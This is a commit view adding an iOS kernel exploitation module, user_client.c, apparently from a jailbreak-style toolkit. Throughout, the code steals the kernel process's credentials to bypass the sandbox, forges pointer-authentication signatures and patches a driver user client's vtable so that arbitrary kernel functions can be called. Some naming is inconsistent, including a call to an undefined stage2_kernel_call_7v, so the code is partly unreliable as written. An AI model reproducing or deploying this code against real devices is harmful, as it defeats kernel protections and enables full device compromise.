summaryrefslogtreecommitdiff
path: root/kernel_call/user_client.c
diff options
context:
space:
mode:
Diffstat (limited to 'kernel_call/user_client.c')
-rwxr-xr-xkernel_call/user_client.c363
1 files changed, 363 insertions, 0 deletions
diff --git a/kernel_call/user_client.c b/kernel_call/user_client.c
new file mode 100755
index 0000000..24f5f57
--- /dev/null
+++ b/kernel_call/user_client.c
@@ -0,0 +1,363 @@
+/*
+ * kernel_call/user_client.c
+ * Brandon Azad
+ */
+#include "user_client.h"
+
+#include <assert.h>
+
+#include "IOKitLib.h"
+#include "kernel_call.h"
+#include "kc_parameters.h"
+#include "pac.h"
+#include "kernel_memory.h"
+#include "kernel_slide.h"
+#include "log.h"
+#include "mach_vm.h"
+#include "parameters.h"
+
+// ---- Global variables --------------------------------------------------------------------------
+
+// The connection to the user client.
+static io_connect_t connection;
+
+// The address of the user client.
+static uint64_t user_client;
+
+// The address of the IOExternalTrap.
+static uint64_t trap;
+
+// The size of our kernel buffer.
+static const size_t kernel_buffer_size = 0x4000;
+
+// The address of our kernel buffer.
+static uint64_t kernel_buffer;
+
+// The maximum size of the vtable.
+static const size_t max_vtable_size = 0x1000;
+
+// The user client's original vtable pointer.
+static uint64_t original_vtable;
+
+// ---- Stage 1 -----------------------------------------------------------------------------------
+
+/*
+ * kernel_get_proc_for_task
+ *
+ * Description:
+ * Get the proc struct for a task.
+ */
+static uint64_t
+kernel_get_proc_for_task(uint64_t task) {
+ return kernel_read64(task + OFFSET(task, bsd_info));
+}
+
+/*
+ * stage0_create_user_client
+ *
+ * Description:
+ * Create a connection to an IOAudio2DeviceUserClient object.
+ */
+static bool
+stage0_create_user_client() {
+ bool success = false;
+ // First get a handle to some IOAudio2Device driver.
+ io_iterator_t iter;
+ kern_return_t kr = IOServiceGetMatchingServices(
+ kIOMasterPortDefault,
+ IOServiceMatching("IOAudio2Device"),
+ &iter);
+ if (iter == MACH_PORT_NULL) {
+ ERROR("could not find services matching %s", "IOAudio2Device");
+ goto fail_0;
+ }
+ // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be
+ // denied with a sandbox error.
+ uint64_t ucred_field, ucred;
+ assume_kernel_credentials(&ucred_field, &ucred);
+ // Now try to open each service in turn.
+ for (;;) {
+ // Get the service.
+ mach_port_t IOAudio2Device = IOIteratorNext(iter);
+ if (IOAudio2Device == MACH_PORT_NULL) {
+ ERROR("could not open any %s", "IOAudio2Device");
+ break;
+ }
+ // Now open a connection to it.
+ kr = IOServiceOpen(
+ IOAudio2Device,
+ mach_task_self(),
+ 0,
+ &connection);
+ IOObjectRelease(IOAudio2Device);
+ if (kr == KERN_SUCCESS) {
+ success = true;
+ break;
+ }
+ DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr));
+ DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient");
+ }
+ // Restore the credentials.
+ restore_credentials(ucred_field, ucred);
+fail_1:
+ IOObjectRelease(iter);
+fail_0:
+ return success;
+}
+
+/*
+ * stage0_find_user_client_trap
+ *
+ * Description:
+ * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap.
+ */
+static void
+stage0_find_user_client_trap() {
+ assert(MACH_PORT_VALID(connection));
+ // Get the address of the port representing the IOAudio2DeviceUserClient.
+ uint64_t user_client_port;
+ bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL);
+ assert(ok);
+ // Get the address of the IOAudio2DeviceUserClient.
+ user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject));
+ // Get the address of the IOExternalTrap.
+ trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps));
+ DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap);
+}
+
+/*
+ * stage0_allocate_kernel_buffer
+ *
+ * Description:
+ * Allocate a buffer in kernel memory.
+ */
+static bool
+stage0_allocate_kernel_buffer() {
+ kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer,
+ kernel_buffer_size, VM_FLAGS_ANYWHERE);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
+ ERROR("could not allocate kernel buffer");
+ return false;
+ }
+ DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer);
+ return true;
+}
+
+// ---- Stage 3 -----------------------------------------------------------------------------------
+
+/*
+ * kernel_read_vtable_method
+ *
+ * Description:
+ * Read the virtual method pointer at the specified index in the vtable.
+ */
+static uint64_t
+kernel_read_vtable_method(uint64_t vtable, size_t index) {
+ uint64_t vmethod_address = vtable + index * sizeof(uint64_t);
+ return kernel_read64(vmethod_address);
+}
+
+/*
+ * stage2_copyout_user_client_vtable
+ *
+ * Description:
+ * Copy out the user client's vtable to userspace. The returned array must be freed when no
+ * longer needed.
+ */
+static uint64_t *
+stage2_copyout_user_client_vtable() {
+ // Get the address of the vtable.
+ original_vtable = kernel_read64(user_client);
+ uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
+ // Read the contents of the vtable to local buffer.
+ uint64_t *vtable_contents = malloc(max_vtable_size);
+ assert(vtable_contents != NULL);
+ kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
+ return vtable_contents;
+}
+
+/*
+ * stage2_patch_user_client_vtable
+ *
+ * Description:
+ * Patch the contents of the user client's vtable in preparation for stage 3.
+ */
+static size_t
+stage2_patch_user_client_vtable(uint64_t *vtable) {
+ // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the
+ // original version (which calls IOUserClient::getExternalTrapForIndex()).
+ uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method(
+ ADDRESS(IOUserClient__vtable),
+ VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex));
+ vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)]
+ = IOUserClient__getTargetAndTrapForIndex;
+ // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with
+ // IORegistryEntry::getRegistryEntryID().
+ vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] =
+ ADDRESS(IORegistryEntry__getRegistryEntryID);
+ // Forge the pacia pointers to the virtual methods.
+ size_t count = 0;
+ for (; count < max_vtable_size / sizeof(*vtable); count++) {
+ uint64_t vmethod = vtable[count];
+ if (vmethod == 0) {
+ break;
+ }
+#if __arm64e__
+ assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
+ vmethod = kernel_xpaci(vmethod);
+ uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
+ vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
+ VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
+#endif // __arm64e__
+ }
+ return count;
+}
+
+/*
+ * stage2_patch_user_client
+ *
+ * Description:
+ * Patch the user client in preparation for stage 3.
+ */
+static void
+stage2_patch_user_client(uint64_t *vtable, size_t count) {
+ // Write the vtable to the kernel buffer.
+ kernel_write(kernel_buffer, vtable, count * sizeof(*vtable));
+ // Overwrite the user client's registry entry ID to point to the IOExternalTrap.
+ uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved);
+ uint64_t reserved = kernel_read64(reserved_field);
+ uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
+ kernel_write64(id_field, trap);
+ // Forge the pacdza pointer to the vtable.
+ uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0);
+ // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable.
+ kernel_write64(user_client, vtable_pointer);
+}
+
+/*
+ * stage2_unpatch_user_client
+ *
+ * Description:
+ * Undo the patches to the user client.
+ */
+static void
+stage2_unpatch_user_client() {
+ // Write the original vtable pointer back to the user client.
+ kernel_write64(user_client, original_vtable);
+}
+
+// ---- API ---------------------------------------------------------------------------------------
+
+bool
+stage1_kernel_call_init() {
+ // Initialize the parameters. We do this first to fail early.
+ bool ok = kernel_call_parameters_init();
+ if (!ok) {
+ return false;
+ }
+ // Create the IOAudio2DeviceUserClient.
+ ok = stage0_create_user_client();
+ if (!ok) {
+ ERROR("could not create %s", "IOAudio2DeviceUserClient");
+ return false;
+ }
+ // Find the IOAudio2DeviceUserClient's IOExternalTrap.
+ stage0_find_user_client_trap();
+ // Allocate the kernel buffer.
+ ok = stage0_allocate_kernel_buffer();
+ if (!ok) {
+ return false;
+ }
+ return true;
+}
+
+void
+stage1_kernel_call_deinit() {
+ if (trap != 0) {
+ // Zero out the trap.
+ uint8_t trap_data[SIZE(IOExternalTrap)];
+ memset(trap_data, 0, SIZE(IOExternalTrap));
+ kernel_write(trap, trap_data, SIZE(IOExternalTrap));
+ trap = 0;
+ }
+ if (kernel_buffer != 0) {
+ // Deallocate our kernel buffer.
+ mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size);
+ kernel_buffer = 0;
+ }
+ if (MACH_PORT_VALID(connection)) {
+ // Close the connection.
+ IOServiceClose(connection);
+ connection = MACH_PORT_NULL;
+ }
+}
+
+uint64_t
+stage1_get_kernel_buffer() {
+ assert(kernel_buffer_size >= 0x2000);
+ return kernel_buffer + kernel_buffer_size - 0x1000;
+}
+
+uint32_t
+stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
+ assert(function != 0);
+ assert(argument_count <= 7);
+ assert(argument_count == 0 || arguments[0] != 0);
+ assert(MACH_PORT_VALID(connection) && trap != 0);
+ // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments.
+ uint64_t args[7] = { 1 };
+ for (size_t i = 0; i < argument_count && i < 7; i++) {
+ args[i] = arguments[i];
+ }
+ // Initialize the IOExternalTrap for this call.
+ uint8_t trap_data[SIZE(IOExternalTrap)];
+ FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0];
+ FIELD(trap_data, IOExternalTrap, function, uint64_t) = function;
+ FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0;
+ kernel_write(trap, trap_data, SIZE(IOExternalTrap));
+ // Perform the function call.
+ uint32_t result = IOConnectTrap6(connection, 0,
+ args[1], args[2], args[3], args[4], args[5], args[6]);
+ return result;
+}
+
+bool
+stage3_kernel_call_init() {
+ uint64_t *vtable = stage2_copyout_user_client_vtable();
+ size_t count = stage2_patch_user_client_vtable(vtable);
+ stage2_patch_user_client(vtable, count);
+ free(vtable);
+ return true;
+}
+
+void
+stage3_kernel_call_deinit() {
+ if (original_vtable != 0) {
+ stage2_unpatch_user_client();
+ original_vtable = 0;
+ }
+}
+
+uint32_t
+kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
+ return stage2_kernel_call_7v(function, argument_count, arguments);
+}
+
+void
+assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) {
+ uint64_t proc_self = kernel_get_proc_for_task(current_task);
+ uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task);
+ uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred);
+ uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred);
+ uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field);
+ uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field);
+ kernel_write64(proc_self_ucred_field, kernel_proc_ucred);
+ *ucred_field = proc_self_ucred_field;
+ *ucred = proc_self_ucred;
+}
+
+void
+restore_credentials(uint64_t ucred_field, uint64_t ucred) {
+ kernel_write64(ucred_field, ucred);
+}